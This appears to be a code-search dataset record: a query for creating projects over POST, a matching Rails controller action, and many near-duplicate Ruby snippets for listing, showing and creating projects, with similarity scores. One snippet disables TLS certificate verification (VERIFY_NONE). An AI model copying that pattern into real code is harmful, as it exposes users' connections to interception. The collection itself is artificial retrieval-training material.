"def getProjectID()\n result = RestClient.get GITHUB_API + PROJECTS_PATH, :accept => 'application/vnd.github.inertia-preview+json', :'Authorization' => 'token ' + CONFIG['OAUTH']\n result = JSON.parse(result) \n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def get\n CircleCi.request(conf, '/projects').get\n end",
"def index\n # @projects = @current_user.projects\n @projects = Project.all\n json_response(@projects)\n end",
"def projects\n records \"project\", \"/project/list\"\n end",
"def projects\n Sifter.\n get(\"/api/projects\").\n parsed_response[\"projects\"].\n map { |p| Sifter::Project.new(p) }\n end",
"def index \n\n @projects = Project.all\n respond_to do |format|\n format.html {render :template => \"projects/index\"}\n format.json { render json: @projects }\n end\n end",
"def index\n @projects = current_user.projects.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def index\n \n @workspaces = current_user.workspaces\n # debugger\n @projects = Project.where(:workspace_id => @workspace)\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @project = Project.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @project }\n end\n end",
"def show\n render json: @project\n end",
"def show\n repo = ProjectRepo.new current_user\n @v_project = repo.get(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @v_project }\n end\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def find_project(name)\n get(\"/projects/#{name}\")\n end",
"def show\n @project = Project.find_by(id: params[:id])\n if @project\n render :json => @project\n else\n render :json => 422\n end\n end",
"def projects(params = {})\n make_get_request('/account/projects', params)\n end",
"def project\n request :project\n end",
"def project\n return forbidden unless current_account and params[:id] and (request.format.json? || request.format.js? || request.format.text?)\n project = Project.accessible(current_account).find(params[:id].to_i)\n return not_found unless project\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'project' => project.canonical(opts)}\n render_cross_origin_json\n end",
"def show \n render :json => Project.find_by_id(params[:id])\n end",
"def show\n @ourproject = Ourproject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ourproject }\n end\n end",
"def get_project(project_id)\n http = Net::HTTP.new(@city_db_url, @port)\n http.read_timeout = 1000\n if @city_db_is_https\n http.use_ssl = true\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\n end\n\n request = Net::HTTP::Get.new(\"/projects/#{project_id}.json\")\n request.add_field('Content-Type', 'application/json')\n request.add_field('Accept', 'application/json')\n request.basic_auth(ENV['URBANOPT_USERNAME'], ENV['URBANOPT_PASSWORD'])\n\n response = http.request(request)\n if response.code != '200' # success\n @runner.registerError(\"Bad response #{response.code}\")\n @runner.registerError(response.body)\n @result = false\n return {}\n end\n\n result = JSON.parse(response.body, symbolize_names: true)\n return result\n end",
"def index\n @projects = Project.with_permissions_to(:read)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @projects }\n end\n end",
"def show\n @projectresource = Projectresource.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projectresource }\n end\n end",
"def index\n @projects = Project.where user: current_user\n render json: @projects, each_serializer: Projects::IndexSerializer\n end",
"def show \n respond_to do |format|\n format.json {\n\n @project = Project.find_by_id(params[:id])\n\n if @project\n render :json => @project\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def show\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n @current_project = CurrentProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @current_project }\n end\n end",
"def show\n respond_with(@project) do |format|\n format.json { render json: @project.as_json }\n format.html\n end\n end",
"def show\n @show_project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @show_project }\n end\n end",
"def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def show\n respond_with @project do |format|\n format.json do\n render json: @project.as_json.merge(\n commits_url: project_commits_url(@project, format: 'json'),\n commits: @project.commits.order('committed_at DESC').limit(10).map { |commit|\n commit.as_json.merge(\n percent_done: commit.fraction_done.nan? ? 0.0 : commit.fraction_done*100,\n translations_done: commit.translations_done,\n translations_total: commit.translations_total,\n strings_total: commit.strings_total,\n import_url: import_project_commit_url(@project, commit, format: 'json'),\n sync_url: sync_project_commit_url(@project, commit, format: 'json'),\n url: project_commit_url(@project, commit),\n status_url: project_commit_url(@project, commit),\n )\n }\n )\n end\n end\n end",
"def show\n # turn ruby database into json\n # route to the project 3 page with this json\n # id = 1\n end",
"def show\n\n render json: Project.all\n\n end",
"def projects(params = {})\n fetch_all('projects', 'projects', params)\n end",
"def index\n @about_projects = AboutProject.last(1)\n\n respond_to do |format|\n format.json {render json: @about_projects[0], :only => [:description]}\n end\n end",
"def show\n set_surrogate_key_header \"api/platforms/#{@platform.id}/projects\"\n set_cache_control_headers 3600\n end",
"def show\n @projects = find_projects\n end",
"def get_project(optional={})\n\t\targs = self.class.new_params\n\t\targs[:method] = 'GET'\n\t\targs[:pattern] = '/projects/[ProjectName]'\n\t\targs[:query]['Action'] = 'GetProject'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'http'\n\t\tif optional.key? :project_name\n\t\t\targs[:path]['ProjectName'] = optional[:project_name]\n\t\tend\n\t\tself.run(args)\n\tend",
"def show_by_gitpath\n @project = Project.includes(:users).includes(:technos).find_by_gitpath(params[:gitpath])\n\n respond_to do |format|\n format.json { render json: @project, status: 200 }\n end\n end",
"def project\n @client.project(:id => project_id)\n end",
"def list_projects\n handle_action_exceptions(__method__) do\n cmd_line = ['listprojects']\n cmd_line << 'json' if @json\n\n handle_return(@toolshck_ether.cmd(cmd_line.join(' ')))\n end\n end",
"def index\n #@projects = []\n if current_user\n #@projects = current_user.projects.where(\"memberships.status >= ?\", 1)\n end\n\n if params[:id]\n @project = Project.find(params[:id])\n authorize! :read, @project\n else\n @project = @projects.first\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js { render :action => 'show'}\n format.json { render json: @projects }\n end\n end",
"def projects\n return forbidden unless current_account # already returns a 401 if credentials aren't supplied\n opts = { :include_document_ids => params[:include_document_ids] != 'false' }\n @response = {'projects' => Project.accessible(current_account).map {|p| p.canonical(opts) } }\n render_cross_origin_json\n end",
"def get_projects_of_user\n respond_to do |format|\n format.json {\n #param = params[:payload]\n #@user = User.find_by_id(param[:id])\n @projects = Project.where(:user_id => @current_user.id)\n if @projects\n render :json => @projects\n else\n render :nothing => true, :status => 200, :content_type => 'text/html'\n end\n }\n end\n end",
"def get\n render json: Project.select(:id, \"name as label\")\n end",
"def index\n @projects = Project.includes(:user).all\n respond_with(@projects) do |format|\n format.json { render :json => {:list => @projects.as_json, :current_user => current_user.as_json} }\n format.html\n end\n end",
"def details\n get(\"project/details\")[\"project\"]\n end",
"def show\n @unfinished_project = UnfinishedProject.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @unfinished_project }\n end\n end",
"def show\n @workspaces = current_user.workspaces\n @project = Project.find(params[:id])\n @workspace = Workspace.find(params[:workspace_id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def index\n @user = User.find_by_id(session[:userid])\n @projects = current_user_projects\n respond_to do |format|\n format.html # index.html.erb\n format.json\n end\n end",
"def get(project_name)\n response = get_request(\"/projects/#{project_name}/\")\n TheShiningSource::Project.new(response)\n end",
"def show_project\r\n @project = Project.find(params[:id])\r\n @id = @project.id\r\n respond_to do |format|\r\n format.html { render 'project_control/view' }\r\n format.json { render json: @project }\r\n end\r\n end",
"def getProject(project)\r\n\t\t\t\tproject_json = JSON.parse project\r\n\t\t\t\tproject_array = project_json[\"projects\"]\r\n\t\t\t\treturn jsonToProject(project_array[0])\r\n\t\t\tend",
"def show\n @project = Project.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @projects }\n #format.json { render json: @project.as_json(:include => [:client, :project_participants] ) }\n end\n end",
"def index\n if signed_in?\n @projects = current_user.projects\n respond_to do |format|\n format.html { render 'projects/index' }\n format.json { render template: 'projects/index.json.jbuilder' }\n end\n else\n redirect_to :projects\n end\n end",
"def index\n @projects = @projects.includes(:latest_iteration).where(:tenant_id => current_user.tenant).order(\"name\").page(params[:page]).per(DEFAULT_ROWS_PER_PAGE)\n\n respond_with @projects\n end",
"def show\n respond_to do |format|\n format.html {render :show}\n format.json {render json: @project}\n end\n end",
"def show\n @project = Project.find(params[:id])\n\t@user = User.find(@project.user_id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @project }\n end\n end",
"def find(project_id)\n raw_response = get_request(\"projects/#{project_id}\")\n parse_response(raw_response, :project)\n end"
] |
[
"0.7868971",
"0.76979554",
"0.7680216",
"0.7611453",
"0.75334454",
"0.75258976",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74926496",
"0.74924207",
"0.7484109",
"0.7479275",
"0.7444873",
"0.74294627",
"0.74224764",
"0.7414947",
"0.7385035",
"0.7380203",
"0.7379937",
"0.7375317",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.7361155",
"0.73572785",
"0.7352506",
"0.73521084",
"0.73436445",
"0.73410857",
"0.73250616",
"0.7303016",
"0.72884965",
"0.72734356",
"0.72727096",
"0.72536707",
"0.7251402",
"0.72502863",
"0.72433484",
"0.7241812",
"0.7228012",
"0.7228012",
"0.7213682",
"0.7210143",
"0.72031206",
"0.71956533",
"0.7184686",
"0.71557546",
"0.71509594",
"0.71480834",
"0.7120158",
"0.71123755",
"0.7106823",
"0.70865124",
"0.7084294",
"0.7079523",
"0.705198",
"0.70506",
"0.7044681",
"0.70423746",
"0.70259416",
"0.70248544",
"0.70047486",
"0.70040953",
"0.70025414",
"0.7000689",
"0.6987457",
"0.6984701",
"0.69802356",
"0.6979858",
"0.69780463",
"0.69780076",
"0.6970507",
"0.6966368",
"0.69646454",
"0.69622666",
"0.6961776",
"0.6961545",
"0.69614834",
"0.69565344",
"0.6943089",
"0.6936655",
"0.69335127",
"0.69173217",
"0.69125015",
"0.6909762",
"0.69050795"
] |
0.0
|
-1
|
POST /projects POST /projects.json
|
def create
@project = Project.new(project_params)
@project.owner = current_user
@pu = current_user.projectusers.new
@pu.project = @project
@pu.save
respond_to do |format|
if @project.save
format.html { redirect_to @project, notice: 'Project was successfully created.' }
format.json { render :show, status: :created, location: @project }
else
format.html { render :new }
format.json { render json: @project.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render :json => @project, :status => :created, :location => @project }\n format.html { redirect_to(projects_path) }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create_project(name)\n post('projects', {:name => name})[\"project\"]\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: 200\n else\n render json: { errors: @project.errors.messages }, status: 200\n end\n end",
"def create\n @project = Project.new(project_params)\n\n if @project.save\n render json: @project, status: :created\n else\n render json: @project.errors, status: :unprocessable_entity\n end\n end",
"def create\n @urlroot = Designax::Application.config.urlroot\n if params[:pk] == \"new\" and params[:name] == \"project_name\"\n project_name = params[:value]\n @project = Project.new()\n @project.project_name = project_name\n else\n @project = Project.new(params[:project])\n end\n\n respond_to do |format|\n if @project.save\n redirect_url = @urlroot + \"/projects\"\n response_url = { \"url\" => redirect_url }\n format.json { render json: response_url, status: 200 }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project] || JSON.parse(request.body.read))\n\n if (params[:id])\n @project.id = params[:id]\n end\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.xml { render :xml => @project, :status => :created, :location => @project }\n format.json { render :json => @project }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @project.errors, :status => :unprocessable_entity }\n format.json { render :text => \"error creating project via http/json\" }\n end\n end\n end",
"def test_should_create_project_via_API_JSON\r\n get \"/logout\"\r\n post \"/projects.json\", :api_key => 'testapikey',\r\n :project => {:user_id => 1,\r\n :url => 'http://www.apiproject.com',\r\n :name => 'API Project',\r\n :description => 'API Project Desc' }\r\n assert_response :created\r\n project = JSON.parse(response.body)\r\n check_new_project(project) \r\n end",
"def create\n\t\t@project = current_user.projects.new(project_params)\n\n\t\trespond_to do |format|\n\t\t\tif @project.save\n\t\t\t\tformat.json { render :show, status: :created }\n\t\t\telse\n\t\t\t\tformat.json { render json: @project.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create\n @projects = current_user.projects\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @projects << @project\n format.html { redirect_to user_projects_path(current_user), notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: :created, location: @project }\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @project = current_user.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create(attributes={})\n raw_response = post_request('projects', project: attributes)\n parse_response(raw_response, :project)\n end",
"def create\n #byebug\n @project = Project.new(create_params)\n @project.user_id = @current_user.id\n @project.save\n #@project = Project.create(name_project: \"prueba\", subsidy: true, parking: true, user_id: @current_user.id)\n #byebug\n render json: @project, status: :created\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(@project, :notice => 'Project was successfully created.') }\n format.json { render :json => @project, :status => :created, :location => @project }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @project.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n if @project.save\n render json: @project, status: :ok\n else\n render json: {error: @project.errors.full_messages.to_sentence } , status: :unprocessable_entity\n end\n end",
"def create\n @user = current_user\n @project = @user.projects.build(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html {redirect_to \"/projects\", notice: \"Project was successfully created.\"}\n format.json {render :show, status: :created, location: @project}\n else\n format.html {render :new, status: :unprocessable_entity}\n format.json {render json: @project.errors, status: :unprocessable_entity}\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: \"Project was successfully created.\" }\n User.find(current_user.id).projects << Project.find(@project.id)\n @projects_user = ProjectsUser.find_by(user_id: current_user.id, project_id: @project.id)\n format.json { render :show, status: :created, location: @project }\n\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: t('models.project.create') }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @api_project = Project.new(api_project_params)\n\n respond_to do |format|\n if @api_project.save\n format.html { redirect_to @api_project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @api_project }\n else\n format.html { render :new }\n format.json { render json: @api_project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: \"Project was successfully created.\" }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = @client.projects.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @client, notice: 'Project was successfully created.' }\n else\n format.html { render action: \"new\" }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.json { render json: @project, status: 200 }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n @project.user_id = @user.id\n if @project.save\n render json: {status: :success, project: @project}\n else\n render json: {status: :failed, project: @project}\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to projects_path, notice: 'Project was successfully created.' }\n format.json { render action: 'show', status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n respond_to do |format|\n if project.save\n format.html { redirect_to project, notice: 'Project was successfully created.' }\n format.json { render json: project, status: ':created', location: project }\n else\n format.html { render action: 'new' }\n format.json { render json: project.errors, status: ':unprocessable_entity' }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: 'new' }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.new(project_params)\n if @project.save\n render :show\n else\n render json: { errors: @project.errors }\n end\n end",
"def create\n @project = Project.new(params[:project])\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to admin_projects_url, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, flash: {success: 'Project was successfully created.'} }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n # authenticate_user!\n @project = Project.new\n @project[:category] = params[:category]\n @project[:title] = params[:title]\n @project[:body] = params[:body]\n @project[:location] = params[:location]\n @project[:image_link] = params[:image_link]\n @project[:project_url] = params[:project_url]\n @project[:year] = params[:year]\n @project[:likes] = params[:likes]\n @project.save\n\n render json: @project\n end",
"def create\n @project = Project.new(project_params.merge(user_id: current_user.id))\n\n respond_to do |format|\n if @project.save\n format.json { render :show, status: :created, location: @project }\n else\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render json: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.new(project_params)\n \n\n respond_to do |format|\n if @project.save\n format.html { redirect_to @project, notice: 'Project was successfully created.' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @client = Client.find(params[:client_id])\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to client_projects_path(@client), notice: 'Project was successfully created.' }\n format.json { render json: client_projects_path(@client), status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.json { render json: client_projects_path(@client).errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = current_user.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to root_path, notice: 'Enhorabuena! Tienes un nuevo proyecto. A trabajar!' }\n format.json { render :show, status: :created, location: @project }\n else\n format.html { render :new }\n format.json { render json: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @project = Project.create project_params\n current_user.memberships.create(\n project_id: @project.id,\n owner_at: Time.now\n )\n\n if @project.save\n render 'projects/create', status: 201\n else\n render 'projects/error', status: 422\n end\n end",
"def create\n @project = @client.projects.build(project_params)\n\n respond_to do |format|\n if @project.save\n format.html { redirect_to(client_projects_url(@client), notice: 'Project was successfully created.') }\n format.xml { render xml: @project, status: :created, location: @project }\n else\n format.html { render action: \"new\" }\n format.xml { render xml: @project.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @create_project = current_user.projects.build(params[:project])\n flash[:notice] = \"Project #{@create_project.description} successfully created\" if @create_project.save\n respond_with(@create_project, layout: !request.xhr?)\n end",
"def new_project\n @request = Request.new(data_type: :project)\n @request.build_contact\n @request.build_project\n @request.build_general_information\n\n render 'new'\n end",
